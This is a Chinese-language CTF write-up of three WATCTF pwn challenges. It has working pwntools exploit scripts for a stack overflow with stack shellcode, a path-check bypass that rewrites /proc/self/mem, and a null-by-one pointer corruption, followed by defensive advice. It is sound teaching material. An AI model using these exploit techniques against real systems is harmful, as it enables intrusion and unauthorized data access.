watctf_f25_PWN_WP
字数 1445 2025-09-23 19:27:38
WATCTF PWN 题目解析与利用技术教学
1. intro2pwn 题目解析
1.1 题目分析
这是一个基础的栈溢出题目,具有以下特点:
- 架构:amd64-64-little
- 保护机制:
- 无RELRO保护
- 存在栈Canary
- 栈可执行(Stack: Executable)
- 无PIE保护
- 存在RWX段
1.2 漏洞利用
关键漏洞点:
- 程序直接使用
scanf("%s", buf)读取输入,没有限制长度,导致栈溢出 - 程序会打印出buf的地址(
printf("Addr: %p\n", buf)) - 栈可执行且知道栈地址
利用思路:
- 利用栈溢出覆盖返回地址
- 在栈上布置shellcode
- 将返回地址覆盖为栈上shellcode的地址
1.3 利用代码
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
p = remote("challs.watctf.org", 1991)
# 接收栈地址
reu(b": ")
stack_addr = int(re(14),16)
print(hex(stack_addr))
# 构造payload: shellcode + padding + 返回地址
payload = asm(shellcraft.sh())
payload = payload.ljust(0x58, b"\x00")
payload += p64(stack_addr)
# 发送payload
sela(b"\n", payload)
# 交互模式
p.interactive()
2. hex-editor-xtended-v2 题目解析
2.1 题目分析
这是一个十六进制编辑器程序,具有以下特点:
- 架构:amd64-64-little
- 保护机制:
- Partial RELRO
- 存在栈Canary
- NX enabled
- 无PIE保护
关键限制:
- 程序禁止访问
/secret.txt文件 - 使用
realpath和strncmp组合检查路径
2.2 漏洞利用
利用思路:
- 利用
/proc/self/mem文件可以读写程序自身内存的特性 - 修改内存中硬编码的
"/secret.txt"字符串 - 绕过路径检查后读取
/secret.txt
关键步骤:
- 打开
/proc/self/mem文件 - 定位到
.rodata段中"/secret.txt"字符串的地址(0x49704E) - 修改字符串的第一个字符为
\x00 - 再次尝试打开
/secret.txt
2.3 利用代码
from pwn import *
p = process("./pwn")
# 打开内存文件
sela(b"> ", b"open /proc/self/mem")
# 修改.rodata中的"/secret.txt"字符串
sela(b"> ", b"set " + str(0x49704E).encode() + b" " + hex(0x0).encode())
sela(b"> ", b"set " + str(0x49704E).encode() + b" " + hex(0x0).encode())
# 现在可以打开/secret.txt了
sela(b"> ", b"open /secret.txt")
# 读取flag内容
for i in range(50):
sela(b"> ", b"get " + str(i).encode())
print(chr(int(re(2),16)), end = "")
p.interactive()
3. person-tracker 题目解析
3.1 题目分析
这是一个人员信息管理程序,具有以下特点:
- 架构:amd64-64-little
- 保护机制:
- Partial RELRO
- 存在栈Canary
- NX enabled
- 无PIE保护
关键数据结构:
typedef struct Person {
uint64_t age;
char name[24];
struct Person *next;
} Person;
漏洞点:
- 存在null-by-one漏洞,可以修改链表指针
3.2 漏洞利用
利用思路:
- 创建多个Person结构体
- 利用null-by-one漏洞修改链表指针
- 构造一个Person结构体指向flag的内存地址(0x49B21E)
- 通过查看功能泄露flag
3.3 利用代码
from pwn import *
p = remote("challs.watctf.org", 5151)
def add(age, name):
sela(b": ", str(1).encode())
sela(b": ", str(age).encode())
sela(b": ", name)
def show(index, choice):
sela(b": ", str(2).encode())
sela(b": ", str(index).encode())
sela(b": ", str(choice).encode())
# 创建多个Person结构体
for i in range(4):
add(10, b"A"*8)
# 利用null-by-one漏洞修改指针
add(10, b"A"*0x8 + p64(0x49B21E-0x8))
add(10, b"Z"*24)
# 查看flag
show(2, 2)
p.interactive()
4. 关键技术总结
4.1 栈溢出利用技术
- 当栈可执行且知道栈地址时,可以直接在栈上布置shellcode
- 需要精确计算偏移量覆盖返回地址
- 利用程序打印的地址信息定位shellcode位置
4.2 内存文件利用技术
/proc/self/mem可以读写进程自身内存- 绕过内存保护机制,直接修改只读段数据
- 需要准确定位目标数据的内存地址
4.3 堆利用技术
- 利用null-by-one漏洞修改链表指针
- 通过精心构造的链表实现任意地址读写
- 需要了解堆布局和内存管理机制
5. 防御建议
-
对于栈溢出:
- 启用栈保护(Stack Canary)
- 禁用栈执行(NX)
- 使用安全的输入函数
-
对于内存文件利用:
- 避免将敏感数据硬编码在程序中
- 对文件路径进行更严格的检查
- 考虑使用只读内存区域存储关键数据
-
对于堆利用:
- 检查所有内存操作边界
- 使用安全的链表实现
- 启用更严格的堆保护机制
通过这三个题目的分析,可以学习到基础的PWN技术栈溢出、内存文件利用和堆利用技术,这些都是CTF PWN题目中的常见考点。